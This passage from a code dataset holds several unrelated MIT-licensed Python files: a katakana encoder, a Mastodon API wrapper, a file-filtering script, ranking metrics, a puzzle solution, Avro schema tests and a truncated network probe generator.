"bzip2-1.0.6"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"Helpers to encode Japanese characters.\n\nI doubt that this currently works correctly.\n\"\"\"\n\n\ntry:\n import jaconv\nexcept ImportError:\n jaconv = None\n\n\ndef encode_katakana(text):\n \"\"\"I don't think this quite works yet.\"\"\"\n encoded = []\n for char in text:\n if jaconv:\n # try to convert japanese text to half-katakanas\n char = jaconv.z2h(jaconv.hira2kata(char))\n # TODO: \"the conversion may result in multiple characters\"\n # If that really can happen (I am not really shure), than the string would have to be split and every single\n # character has to passed through the following lines.\n\n if char in TXT_ENC_KATAKANA_MAP:\n encoded.append(TXT_ENC_KATAKANA_MAP[char])\n else:\n # TODO doesn't this discard all that is not in the map? Can we be sure that the input does contain only\n # encodable characters? We could at least throw an exception if encoding is not possible.\n pass\n return b\"\".join(encoded)\n\n\nTXT_ENC_KATAKANA_MAP = {\n # Maps UTF-8 Katakana symbols to KATAKANA Page Codes\n # TODO: has this really to be hardcoded?\n # Half-Width Katakanas\n \"\uff61\": b\"\\xa1\",\n \"\uff62\": b\"\\xa2\",\n \"\uff63\": b\"\\xa3\",\n \"\uff64\": b\"\\xa4\",\n \"\uff65\": b\"\\xa5\",\n \"\uff66\": b\"\\xa6\",\n \"\uff67\": b\"\\xa7\",\n \"\uff68\": b\"\\xa8\",\n \"\uff69\": b\"\\xa9\",\n \"\uff6a\": b\"\\xaa\",\n \"\uff6b\": b\"\\xab\",\n \"\uff6c\": b\"\\xac\",\n \"\uff6d\": b\"\\xad\",\n \"\uff6e\": b\"\\xae\",\n \"\uff6f\": b\"\\xaf\",\n \"\uff70\": b\"\\xb0\",\n \"\uff71\": b\"\\xb1\",\n \"\uff72\": b\"\\xb2\",\n \"\uff73\": b\"\\xb3\",\n \"\uff74\": b\"\\xb4\",\n \"\uff75\": b\"\\xb5\",\n \"\uff76\": b\"\\xb6\",\n \"\uff77\": b\"\\xb7\",\n \"\uff78\": b\"\\xb8\",\n \"\uff79\": b\"\\xb9\",\n \"\uff7a\": b\"\\xba\",\n \"\uff7b\": b\"\\xbb\",\n \"\uff7c\": b\"\\xbc\",\n \"\uff7d\": b\"\\xbd\",\n \"\uff7e\": b\"\\xbe\",\n \"\uff7f\": b\"\\xbf\",\n \"\uff80\": b\"\\xc0\",\n \"\uff81\": b\"\\xc1\",\n \"\uff82\": b\"\\xc2\",\n \"\uff83\": b\"\\xc3\",\n \"\uff84\": b\"\\xc4\",\n \"\uff85\": b\"\\xc5\",\n \"\uff86\": b\"\\xc6\",\n \"\uff87\": b\"\\xc7\",\n \"\uff88\": b\"\\xc8\",\n \"\uff89\": b\"\\xc9\",\n \"\uff8a\": b\"\\xca\",\n \"\uff8b\": b\"\\xcb\",\n \"\uff8c\": b\"\\xcc\",\n \"\uff8d\": b\"\\xcd\",\n \"\uff8e\": b\"\\xce\",\n \"\uff8f\": b\"\\xcf\",\n \"\uff90\": b\"\\xd0\",\n \"\uff91\": b\"\\xd1\",\n \"\uff92\": b\"\\xd2\",\n \"\uff93\": b\"\\xd3\",\n \"\uff94\": b\"\\xd4\",\n \"\uff95\": b\"\\xd5\",\n \"\uff96\": b\"\\xd6\",\n \"\uff97\": b\"\\xd7\",\n \"\uff98\": b\"\\xd8\",\n \"\uff99\": b\"\\xd9\",\n \"\uff9a\": b\"\\xda\",\n \"\uff9b\": b\"\\xdb\",\n \"\uff9c\": b\"\\xdc\",\n \"\uff9d\": b\"\\xdd\",\n \"\uff9e\": b\"\\xde\",\n \"\uff9f\": b\"\\xdf\",\n}\n", "source": "Ebreium/python-escpos", "license": "MIT"} {"text": "# coding: utf-8\n\nimport requests\nimport os\nimport os.path\nimport mimetypes\nimport time\nimport random\nimport string\nimport pytz\nimport datetime\nimport dateutil\nimport dateutil.parser\n\nclass Mastodon:\n \"\"\"\n Super basic but thorough and easy to use mastodon.social\n api wrapper in python.\n\n If anything is unclear, check the official API docs at\n https://github.com/Gargron/mastodon/wiki/API\n\n Presently, only username-password login is supported, somebody please\n patch in Real Proper OAuth if desired.\n \"\"\"\n __DEFAULT_BASE_URL = 'https://mastodon.social'\n __DEFAULT_TIMEOUT = 300\n\n\n ###\n # Registering apps\n ###\n @staticmethod\n def create_app(client_name, scopes = ['read', 'write', 'follow'], redirect_uris = None, to_file = None, api_base_url = __DEFAULT_BASE_URL, request_timeout = __DEFAULT_TIMEOUT):\n \"\"\"\n Create a new app with given client_name and scopes (read, write, follow)\n\n Specify redirect_uris if you want users to be redirected to a certain page after authenticating.\n Specify to_file to persist your apps info to a file so you can use them in the constructor.\n Specify api_base_url if you want to register an app on an instance different from the flagship one.\n\n Presently, app registration is open by default, but this is not guaranteed to be the case for all\n future mastodon instances or even the flagship instance in the future.\n\n Returns client_id and client_secret.\n \"\"\"\n request_data = {\n 'client_name': client_name,\n 'scopes': \" \".join(scopes)\n }\n\n try:\n if redirect_uris != None:\n request_data['redirect_uris'] = redirect_uris;\n else:\n request_data['redirect_uris'] = 'urn:ietf:wg:oauth:2.0:oob';\n\n response = requests.post(api_base_url + '/api/v1/apps', data = request_data, timeout = request_timeout).json()\n except Exception as e:\n import traceback\n traceback.print_exc()\n raise MastodonNetworkError(\"Could not complete request: %s\" % e)\n\n if to_file != None:\n with open(to_file, 'w') as secret_file:\n secret_file.write(response['client_id'] + '\\n')\n secret_file.write(response['client_secret'] + '\\n')\n\n return (response['client_id'], response['client_secret'])\n\n ###\n # Authentication, including constructor\n ###\n def __init__(self, client_id, client_secret = None, access_token = None, api_base_url = __DEFAULT_BASE_URL, debug_requests = False, ratelimit_method = \"wait\", ratelimit_pacefactor = 1.1, request_timeout = __DEFAULT_TIMEOUT):\n \"\"\"\n Create a new API wrapper instance based on the given client_secret and client_id. If you\n give a client_id and it is not a file, you must also give a secret.\n\n You can also specify an access_token, directly or as a file (as written by log_in).\n\n Mastodon.py can try to respect rate limits in several ways, controlled by ratelimit_method.\n \"throw\" makes functions throw a MastodonRatelimitError when the rate\n limit is hit. \"wait\" mode will, once the limit is hit, wait and retry the request as soon\n as the rate limit resets, until it succeeds. \"pace\" works like throw, but tries to wait in\n between calls so that the limit is generally not hit (How hard it tries to not hit the rate\n limit can be controlled by ratelimit_pacefactor). The default setting is \"wait\". Note that\n even in \"wait\" and \"pace\" mode, requests can still fail due to network or other problems! Also\n note that \"pace\" and \"wait\" are NOT thread safe.\n\n Specify api_base_url if you wish to talk to an instance other than the flagship one.\n If a file is given as client_id, read client ID and secret from that file.\n\n By default, a timeout of 300 seconds is used for all requests. If you wish to change this,\n pass the desired timeout (in seconds) as request_timeout.\n \"\"\"\n self.api_base_url = api_base_url\n self.client_id = client_id\n self.client_secret = client_secret\n self.access_token = access_token\n self.debug_requests = debug_requests\n self.ratelimit_method = ratelimit_method\n\n self.ratelimit_limit = 150\n self.ratelimit_reset = time.time()\n self.ratelimit_remaining = 150\n self.ratelimit_lastcall = time.time()\n self.ratelimit_pacefactor = ratelimit_pacefactor\n\n self.request_timeout = request_timeout\n\n if not ratelimit_method in [\"throw\", \"wait\", \"pace\"]:\n raise MastodonIllegalArgumentError(\"Invalid ratelimit method.\")\n\n if os.path.isfile(self.client_id):\n with open(self.client_id, 'r') as secret_file:\n self.client_id = secret_file.readline().rstrip()\n self.client_secret = secret_file.readline().rstrip()\n else:\n if self.client_secret == None:\n raise MastodonIllegalArgumentError('Specified client id directly, but did not supply secret')\n\n if self.access_token != None and os.path.isfile(self.access_token):\n with open(self.access_token, 'r') as token_file:\n self.access_token = token_file.readline().rstrip()\n\n def log_in(self, username, password, scopes = ['read', 'write', 'follow'], to_file = None):\n \"\"\"\n Log in and sets access_token to what was returned. Note that your\n username is the e-mail you use to log in into mastodon.\n\n Can persist access token to file, to be used in the constructor.\n\n Will throw a MastodonIllegalArgumentError if username / password\n are wrong, scopes are not valid or granted scopes differ from requested.\n\n Returns the access_token.\n \"\"\"\n params = self.__generate_params(locals())\n params['client_id'] = self.client_id\n params['client_secret'] = self.client_secret\n params['grant_type'] = 'password'\n params['scope'] = \" \".join(scopes)\n\n try:\n response = self.__api_request('POST', '/oauth/token', params, do_ratelimiting = False)\n self.access_token = response['access_token']\n except Exception as e:\n import traceback\n traceback.print_exc()\n raise MastodonIllegalArgumentError('Invalid user name, password or scopes: %s' % e)\n\n requested_scopes = \" \".join(sorted(scopes))\n received_scopes = \" \".join(sorted(response[\"scope\"].split(\" \")))\n\n if requested_scopes != received_scopes:\n raise MastodonAPIError('Granted scopes \"' + received_scopes + '\" differ from requested scopes \"' + requested_scopes + '\".')\n\n if to_file != None:\n with open(to_file, 'w') as token_file:\n token_file.write(response['access_token'] + '\\n')\n\n return response['access_token']\n\n ###\n # Reading data: Timelines\n ##\n def timeline(self, timeline = \"home\", max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetch statuses, most recent ones first. Timeline can be home, mentions, local,\n public, or tag/hashtag. See the following functions documentation for what those do.\n\n The default timeline is the \"home\" timeline.\n\n Returns a list of toot dicts.\n \"\"\"\n params_initial = locals()\n\n if timeline == \"local\":\n timeline = \"public\"\n params_initial['local'] = True\n\n params = self.__generate_params(params_initial, ['timeline'])\n return self.__api_request('GET', '/api/v1/timelines/' + timeline, params)\n\n def timeline_home(self, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetch the authenticated users home timeline (i.e. followed users and self).\n\n Returns a list of toot dicts.\n \"\"\"\n return self.timeline('home', max_id = max_id, since_id = since_id, limit = limit)\n\n def timeline_mentions(self, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetches the authenticated users mentions.\n\n Returns a list of toot dicts.\n \"\"\"\n return self.timeline('mentions', max_id = max_id, since_id = since_id, limit = limit)\n\n def timeline_local(self, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetches the local / instance-wide timeline.\n\n Returns a list of toot dicts.\n \"\"\"\n return self.timeline('local', max_id = max_id, since_id = since_id, limit = limit)\n\n def timeline_public(self, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetches the public / visible-network timeline.\n\n Returns a list of toot dicts.\n \"\"\"\n return self.timeline('public', max_id = max_id, since_id = since_id, limit = limit)\n\n def timeline_hashtag(self, hashtag, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetch a timeline of toots with a given hashtag.\n\n Returns a list of toot dicts.\n \"\"\"\n return self.timeline('tag/' + str(hashtag), max_id = max_id, since_id = since_id, limit = limit)\n\n ###\n # Reading data: Statuses\n ###\n def status(self, id):\n \"\"\"\n Fetch information about a single toot.\n\n Returns a toot dict.\n \"\"\"\n return self.__api_request('GET', '/api/v1/statuses/' + str(id))\n\n def status_context(self, id):\n \"\"\"\n Fetch information about ancestors and descendants of a toot.\n\n Returns a context dict.\n \"\"\"\n return self.__api_request('GET', '/api/v1/statuses/' + str(id) + '/context')\n\n def status_reblogged_by(self, id):\n \"\"\"\n Fetch a list of users that have reblogged a status.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/statuses/' + str(id) + '/reblogged_by')\n\n def status_favourited_by(self, id):\n \"\"\"\n Fetch a list of users that have favourited a status.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/statuses/' + str(id) + '/favourited_by')\n\n ###\n # Reading data: Notifications\n ###\n def notifications(self):\n \"\"\"\n Fetch notifications (mentions, favourites, reblogs, follows) for the authenticated\n user.\n\n Returns a list of notification dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/notifications')\n\n ###\n # Reading data: Accounts\n ###\n def account(self, id):\n \"\"\"\n Fetch account information by user id.\n\n Returns a user dict.\n \"\"\"\n return self.__api_request('GET', '/api/v1/accounts/' + str(id))\n\n def account_verify_credentials(self):\n \"\"\"\n Fetch authenticated user's account information.\n\n Returns a user dict.\n \"\"\"\n return self.__api_request('GET', '/api/v1/accounts/verify_credentials')\n\n def account_statuses(self, id, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetch statuses by user id. Same options as timeline are permitted.\n\n Returns a list of toot dicts.\n \"\"\"\n params = self.__generate_params(locals(), ['id'])\n return self.__api_request('GET', '/api/v1/accounts/' + str(id) + '/statuses', params)\n\n def account_following(self, id):\n \"\"\"\n Fetch users the given user is following.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/accounts/' + str(id) + '/following')\n\n def account_followers(self, id):\n \"\"\"\n Fetch users the given user is followed by.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/accounts/' + str(id) + '/followers')\n\n def account_relationships(self, id):\n \"\"\"\n Fetch relationships (following, followed_by, blocking) of the logged in user to\n a given account. id can be a list.\n\n Returns a list of relationship dicts.\n \"\"\"\n params = self.__generate_params(locals())\n return self.__api_request('GET', '/api/v1/accounts/relationships', params)\n\n def account_search(self, q, limit = None):\n \"\"\"\n Fetch matching accounts. Will lookup an account remotely if the search term is\n in the username@domain format and not yet in the database.\n\n Returns a list of user dicts.\n \"\"\"\n params = self.__generate_params(locals())\n return self.__api_request('GET', '/api/v1/accounts/search', params)\n\n ###\n # Reading data: Mutes and Blocks\n ###\n def mutes(self):\n \"\"\"\n Fetch a list of users muted by the authenticated user.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/mutes')\n\n def blocks(self):\n \"\"\"\n Fetch a list of users blocked by the authenticated user.\n\n Returns a list of user dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/blocks')\n\n ###\n # Reading data: Favourites\n ###\n def favourites(self):\n \"\"\"\n Fetch the authenticated user's favourited statuses.\n\n Returns a list of toot dicts.\n \"\"\"\n return self.__api_request('GET', '/api/v1/favourites')\n\n ###\n # Reading data: Follow requests\n ###\n def follow_requests(self, max_id = None, since_id = None, limit = None):\n \"\"\"\n Fetch the authenticated user's incoming follow requests.\n\n Returns a list of user dicts.\n \"\"\"\n params = self.__generate_params(locals())\n return self.__api_request('GET', '/api/v1/follow_requests', params)\n\n ###\n # Writing data: Statuses\n ###\n def status_post(self, status, in_reply_to_id = None, media_ids = None, sensitive = False, visibility = '', spoiler_text = None):\n \"\"\"\n Post a status. Can optionally be in reply to another status and contain\n up to four pieces of media (Uploaded via media_post()). media_ids can\n also be the media dicts returned by media_post - they are unpacked\n automatically.\n\n The 'sensitive' boolean decides whether or not media attached to the post\n should be marked as sensitive, which hides it by default on the Mastodon\n web front-end.\n\n The visibility parameter is a string value and matches the visibility\n option on the /api/v1/status POST API endpoint. It accepts any of:\n 'private' - post will be visible only to followers\n 'unlisted' - post will be public but not appear on the public timeline\n 'public' - post will be public\n\n If not passed in, visibility defaults to match the current account's\n privacy setting (private if the account is locked, public otherwise).\n\n The spoiler_text parameter is a string to be shown as a warning before\n the text of the status. If no text is passed in, no warning will be\n displayed.\n\n Returns a toot dict with the new status.\n \"\"\"\n params_initial = locals()\n\n # Validate visibility parameter\n valid_visibilities = ['private', 'public', 'unlisted', '']\n if params_initial['visibility'].lower() not in valid_visibilities:\n raise ValueError('Invalid visibility value! Acceptable values are %s' % valid_visibilities)\n\n if params_initial['sensitive'] == False:\n del[params_initial['sensitive']]\n\n if media_ids != None:\n try:\n media_ids_proper = []\n for media_id in media_ids:\n if isinstance(media_id, dict):\n media_ids_proper.append(media_id[\"id\"])\n else:\n media_ids_proper.append(media_id)\n except Exception as e:\n import traceback\n traceback.print_exc()\n raise MastodonIllegalArgumentError(\"Invalid media dict: %s\" % e)\n\n params_initial[\"media_ids\"] = media_ids_proper\n\n params = self.__generate_params(params_initial)\n return self.__api_request('POST', '/api/v1/statuses', params)\n\n def toot(self, status):\n \"\"\"\n Synonym for status_post that only takes the status text as input.\n\n Returns a toot dict with the new status.\n \"\"\"\n return self.status_post(status)\n\n def status_delete(self, id):\n \"\"\"\n Delete a status\n\n Returns an empty dict for good measure.\n \"\"\"\n return self.__api_request('DELETE', '/api/v1/statuses/' + str(id))\n\n def status_reblog(self, id):\n \"\"\"Reblog a status.\n\n Returns a toot with with a new status that wraps around the reblogged one.\n \"\"\"\n return self.__api_request('POST', '/api/v1/statuses/' + str(id) + \"/reblog\")\n\n def status_unreblog(self, id):\n \"\"\"\n Un-reblog a status.\n\n Returns a toot dict with the status that used to be reblogged.\n \"\"\"\n return self.__api_request('POST', '/api/v1/statuses/' + str(id) + \"/unreblog\")\n\n def status_favourite(self, id):\n \"\"\"\n Favourite a status.\n\n Returns a toot dict with the favourited status.\n \"\"\"\n return self.__api_request('POST', '/api/v1/statuses/' + str(id) + \"/favourite\")\n\n def status_unfavourite(self, id):\n \"\"\"\n Un-favourite a status.\n\n Returns a toot dict with the un-favourited status.\n \"\"\"\n return self.__api_request('POST', '/api/v1/statuses/' + str(id) + \"/unfavourite\")\n\n ###\n # Writing data: Accounts\n ###\n def account_follow(self, id):\n \"\"\"\n Follow a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/follow\")\n\n def account_unfollow(self, id):\n \"\"\"\n Unfollow a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/unfollow\")\n\n def account_block(self, id):\n \"\"\"\n Block a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/block\")\n\n def account_unblock(self, id):\n \"\"\"\n Unblock a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/unblock\")\n\n def account_mute(self, id):\n \"\"\"\n Mute a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/mute\")\n\n def account_unmute(self, id):\n \"\"\"\n Unmute a user.\n\n Returns a relationship dict containing the updated relationship to the user.\n \"\"\"\n return self.__api_request('POST', '/api/v1/accounts/' + str(id) + \"/unmute\")\n\n ###\n # Writing data: Follow requests\n ###\n def follow_request_authorize(self, id):\n \"\"\"\n Accept an incoming follow request.\n\n Returns a user dict of the authorized account.\n \"\"\"\n return self.__api_request('POST', '/api/v1/follow_requests/' + str(id) + \"/authorize\")\n\n def follow_request_reject(self, id):\n \"\"\"\n Reject an incoming follow request.\n\n Returns a user dict of the rejected account.\n \"\"\"\n return self.__api_request('POST', '/api/v1/follow_requests/' + str(id) + \"/reject\")\n\n ###\n # Writing data: Media\n ###\n def media_post(self, media_file, mime_type = None, is_raw_data = False):\n \"\"\"\n Post an image. media_file can either be image data or\n a file name. If image data is passed directly, the mime\n type has to be specified manually, otherwise, it is\n determined from the file name.\n\n Throws a MastodonIllegalArgumentError if the mime type of the\n passed data or file can not be determined properly.\n\n Returns a media dict. This contains the id that can be used in\n status_post to attach the media file to a toot.\n \"\"\"\n if not is_raw_data and os.path.isfile(media_file) and mime_type == None:\n mime_type = mimetypes.guess_type(media_file)[0]\n media_file = open(media_file, 'rb')\n\n if mime_type == None:\n raise MastodonIllegalArgumentError('Could not determine mime type or data passed directly without mime type.')\n\n random_suffix = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n extension = mimetypes.guess_extension(mime_type)\n if extension == '.jpe':\n # de facto >>> de jure\n extension = '.jpg'\n file_name = \"mastodonpyupload_\" + str(time.time()) + \"_\" + str(random_suffix) + extension\n\n media_file_description = (file_name, media_file, mime_type)\n return self.__api_request('POST', '/api/v1/media', files = {'file': media_file_description})\n\n ###\n # Internal helpers, dragons probably\n ###\n def __datetime_to_epoch(self, date_time):\n \"\"\"\n Converts a python datetime to unix epoch, accounting for\n time zones and such.\n\n Assumes UTC if timezone is not given.\n \"\"\"\n date_time_utc = None\n if date_time.tzinfo == None:\n date_time_utc = date_time.replace(tzinfo = pytz.utc)\n else:\n date_time_utc = date_time.astimezone(pytz.utc)\n\n epoch_utc = datetime.datetime.utcfromtimestamp(0).replace(tzinfo = pytz.utc)\n\n return (date_time_utc - epoch_utc).total_seconds()\n\n def __api_request(self, method, endpoint, params = {}, files = {}, do_ratelimiting = True):\n \"\"\"\n Internal API request helper.\n \"\"\"\n response = None\n headers = None\n\n # \"pace\" mode ratelimiting: Assume constant rate of requests, sleep a little less long than it\n # would take to not hit the rate limit at that request rate.\n if do_ratelimiting and self.ratelimit_method == \"pace\":\n if self.ratelimit_remaining == 0:\n to_next = self.ratelimit_reset - time.time()\n if to_next > 0:\n # As a precaution, never sleep longer than 5 minutes\n to_next = min(to_next, 5 * 60)\n time.sleep(to_next)\n else:\n time_waited = time.time() - self.ratelimit_lastcall\n time_wait = float(self.ratelimit_reset - time.time()) / float(self.ratelimit_remaining)\n remaining_wait = time_wait - time_waited\n\n if remaining_wait > 0:\n to_next = remaining_wait / self.ratelimit_pacefactor\n to_next = min(to_next, 5 * 60)\n time.sleep(to_next)\n\n # Generate request headers\n if self.access_token != None:\n headers = {'Authorization': 'Bearer ' + self.access_token}\n\n if self.debug_requests == True:\n print('Mastodon: Request to endpoint \"' + endpoint + '\" using method \"' + method + '\".')\n print('Parameters: ' + str(params))\n print('Headers: ' + str(headers))\n print('Files: ' + str(files))\n\n # Make request\n request_complete = False\n while not request_complete:\n request_complete = True\n\n response_object = None\n try:\n if method == 'GET':\n response_object = requests.get(self.api_base_url + endpoint, data = params, headers = headers, files = files, timeout = self.request_timeout)\n\n if method == 'POST':\n response_object = requests.post(self.api_base_url + endpoint, data = params, headers = headers, files = files, timeout = self.request_timeout)\n\n if method == 'DELETE':\n response_object = requests.delete(self.api_base_url + endpoint, data = params, headers = headers, files = files, timeout = self.request_timeout)\n except Exception as e:\n import traceback\n traceback.print_exc()\n raise MastodonNetworkError(\"Could not complete request: %s\" % e)\n\n if response_object == None:\n raise MastodonIllegalArgumentError(\"Illegal request.\")\n\n # Handle response\n if self.debug_requests == True:\n print('Mastodon: Response received with code ' + str(response_object.status_code) + '.')\n print('response headers: ' + str(response_object.headers))\n print('Response text content: ' + str(response_object.text))\n\n if response_object.status_code == 404:\n raise MastodonAPIError('Endpoint not found.')\n\n if response_object.status_code == 500:\n raise MastodonAPIError('General API problem.')\n\n try:\n response = response_object.json()\n except:\n import traceback\n traceback.print_exc()\n raise MastodonAPIError(\"Could not parse response as JSON, response code was %s, bad json content was '%s'\" % (response_object.status_code, response_object.content))\n\n # Handle rate limiting\n if 'X-RateLimit-Remaining' in response_object.headers and do_ratelimiting:\n self.ratelimit_remaining = int(response_object.headers['X-RateLimit-Remaining'])\n self.ratelimit_limit = int(response_object.headers['X-RateLimit-Limit'])\n\n try:\n ratelimit_reset_datetime = dateutil.parser.parse(response_object.headers['X-RateLimit-Reset'])\n self.ratelimit_reset = self.__datetime_to_epoch(ratelimit_reset_datetime)\n\n # Adjust server time to local clock\n server_time_datetime = dateutil.parser.parse(response_object.headers['Date'])\n server_time = self.__datetime_to_epoch(server_time_datetime)\n server_time_diff = time.time() - server_time\n self.ratelimit_reset += server_time_diff\n self.ratelimit_lastcall = time.time()\n except Exception as e:\n import traceback\n traceback.print_exc()\n raise MastodonRatelimitError(\"Rate limit time calculations failed: %s\" % e)\n\n if \"error\" in response and response[\"error\"] == \"Throttled\":\n if self.ratelimit_method == \"throw\":\n raise MastodonRatelimitError(\"Hit rate limit.\")\n\n if self.ratelimit_method == \"wait\" or self.ratelimit_method == \"pace\":\n to_next = self.ratelimit_reset - time.time()\n if to_next > 0:\n # As a precaution, never sleep longer than 5 minutes\n to_next = min(to_next, 5 * 60)\n time.sleep(to_next)\n request_complete = False\n\n return response\n\n def __generate_params(self, params, exclude = []):\n \"\"\"\n Internal named-parameters-to-dict helper.\n\n Note for developers: If called with locals() as params,\n as is the usual practice in this code, the __generate_params call\n (or at least the locals() call) should generally be the first thing\n in your function.\n \"\"\"\n params = dict(params)\n\n del params['self']\n param_keys = list(params.keys())\n for key in param_keys:\n if params[key] == None or key in exclude:\n del params[key]\n\n param_keys = list(params.keys())\n for key in param_keys:\n if isinstance(params[key], list):\n params[key + \"[]\"] = params[key]\n del params[key]\n\n return params\n\n##\n# Exceptions\n##\nclass MastodonIllegalArgumentError(ValueError):\n pass\n\nclass MastodonFileNotFoundError(IOError):\n pass\n\nclass MastodonNetworkError(IOError):\n pass\n\nclass MastodonAPIError(Exception):\n pass\n\nclass MastodonRatelimitError(Exception):\n pass\n\n", "source": "rtucker/twit2masto", "license": "MIT"} {"text": "import argparse\nimport sys\n\nfrom os import path, listdir\nfrom os.path import isfile, join\n\ndef get_all_files(file_path):\n \"\"\"\n\n \"\"\"\n all_files = []\n if path.isfile(file_path):\n with open(file_path) as file:\n lines = file.readlines()\n all_files = [line.rstrip() for line in lines if path.isfile(line.rstrip())]\n\n return all_files\n\ndef get_file_extension(file_path):\n \"\"\"\n\n \"\"\"\n filename, file_extension = path.splitext(file_path)\n return file_extension\n\ndef search_files_by_type(type, all_files):\n \"\"\"\n\n \"\"\"\n files_filtered = [file_item for file_item in all_files if get_file_extension(file_item) == type]\n return files_filtered\n\ndef format_output(files_filtered):\n \"\"\"\n\n \"\"\"\n return \" \".join(files_filtered)\n\ndef check_migrations(migrations_path):\n \"\"\"\n\n \"\"\"\n migrations_files = get_all_files(migrations_path)\n return \" \".join(migrations_files)\n\ndef main():\n desc = \"Search inside a path for files that contains migrations duplicated, using the down revision id as criteria\"\n\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument(\n \"--input-file-path\",\n dest=\"input_file_path\",\n default=\"out.txt\",\n type=str,\n help=\"path where the migration validation are going to run\",\n )\n parser.add_argument(\n \"--extension\",\n dest=\"extension\",\n default=\".py\",\n type=str,\n help=\"path where the migration validation are going to run\",\n )\n parser.add_argument(\n \"--migrations-path\",\n dest=\"migrations_path\",\n default=\"\",\n type=str,\n help=\"path where the migration validation are going to run\",\n )\n\n args, remaining_args = parser.parse_known_args()\n\n all_files = get_all_files(args.input_file_path)\n files_filtered = search_files_by_type(args.extension, all_files)\n\n if args.migrations_path:\n print(check_migrations(args.migrations_path))\n else:\n print(format_output(files_filtered))\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "arendondiosa/github-actions", "license": "MIT"} {"text": "import math\n\ndef getHitRatio(ranklist, gtItem):\n for item in ranklist:\n if item == gtItem:\n return 1\n return 0\n\ndef getNDCG(ranklist, gtItem):\n for i in range(len(ranklist)):\n item = ranklist[i]\n if item == gtItem:\n return math.log(2) / math.log(i+2)\n return 0\n\ndef getMRR(ranklist, gtItem):\n for i in range(len(ranklist)):\n item = ranklist[i]\n if item == gtItem:\n return 1.0 / (i+1)\n return 0\n", "source": "sh0416/METIS", "license": "MIT"} {"text": "#!/usr/bin/env python3\nt = sorted([float(x) for x in input().split()])\no = float(input())\nbest = (t[0] + t[1] + t[2])/3\nworst = (t[1] + t[2] + t[3])/3\nif o < best: print('impossible')\nelif o >= worst: print('infinite')\nelse: print(f'{3*o-t[1]-t[2]:.2f}')\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"} {"text": "import urllib\nimport Image\nimport StringIO\n\nsrc = urllib.urlopen('http://huge:file@www.pythonchallenge.com/pc/return/wire.png').read()\nim = Image.open(StringIO.StringIO(src))\nans = Image.new(im.mode, (100, 100))\nstep = [[1, 0], [0, 1], [-1, 0], [0, -1]]\nmaxLen = [[i, i - 1, i - 1, i - 2] for i in range(100, 1, -2)]\nmaxLen = reduce(lambda x, y: x + y, maxLen)\nidx = 0\nstepIdx = 0\npos = (-1, 0)\n\nfor l in maxLen:\n\tfor i in range(l):\n\t\tpos = tuple(map(lambda x, y: x + y, pos, step[stepIdx]))\n\t\tans.putpixel(pos, im.getpixel((idx, 0)))\n\t\tidx += 1\n\tstepIdx = (stepIdx + 1) % 4\n\nans.show()", "source": "cloudzfy/pychallenge", "license": "MIT"} {"text": "import json\n\nimport pytest\n\nfrom avroc import Schema\n\n\n@pytest.fixture()\ndef person_schema_raw():\n return {\n \"type\": \"record\",\n \"name\": \"Person\",\n \"fields\": [\n {\"name\": \"ID\", \"type\": \"long\"},\n {\"name\": \"First\", \"type\": \"string\"},\n {\"name\": \"Last\", \"type\": \"string\"},\n {\"name\": \"Phone\", \"type\": \"string\"},\n {\"name\": \"Age\", \"type\": \"int\"},\n ],\n }\n\n\n@pytest.fixture()\ndef person_schema(person_schema_raw):\n return json.dumps(person_schema_raw)\n\n\ndef test_parse_schema_ok(person_schema):\n assert Schema(person_schema)\n\n\ndef test_parse_schema_raw_ok(person_schema_raw):\n assert Schema.from_py_object(person_schema_raw)\n\n\ndef test_parse_schema_bad_json():\n with pytest.raises(ValueError, match=\"Error parsing JSON: string or '}' expected near end of file\"):\n Schema(\"{\")\n\n\ndef test_parse_schema_bad_avro():\n with pytest.raises(ValueError, match='Unknown Avro \"type\": magic'):\n Schema.from_py_object({\"name\": \"Data\", \"type\": \"magic\"})\n", "source": "gaborbernat/avroc", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport networkx as nx\n\nfrom query_primitives.query import PathQuery, NodeQuery\nfrom utils.assemble_probe import assemble_probe\nfrom utils.utils import transform_fwd_path_to_fwd_label_list, create_bitmap\n\n\ndef naive_generate_probe_set(query_list, topo_class, k_fwd, k_tele):\n query_probe_list = []\n topology = topo_class.get_topology()\n for query in query_list:\n probe_set = set()\n primary_metadata_set = query.decompose()\n bitmap = create_bitmap(primary_metadata_set)\n # NodeQuery\u65f6\n if isinstance(query, NodeQuery):\n for fwd_path in query.get_fwd_path(topo_class):\n fwd_label_list = transform_fwd_path_to_fwd_label_list(topo_class, fwd_path)\n tmy_label_list = [(query.node, bitmap)]\n probe_pkt = assemble_probe(fwd_label_list, tmy_label_list)\n probe_set.add(probe_pkt)\n # PathQuery\u65f6\n if isinstance(query, PathQuery):\n for tmy_path in 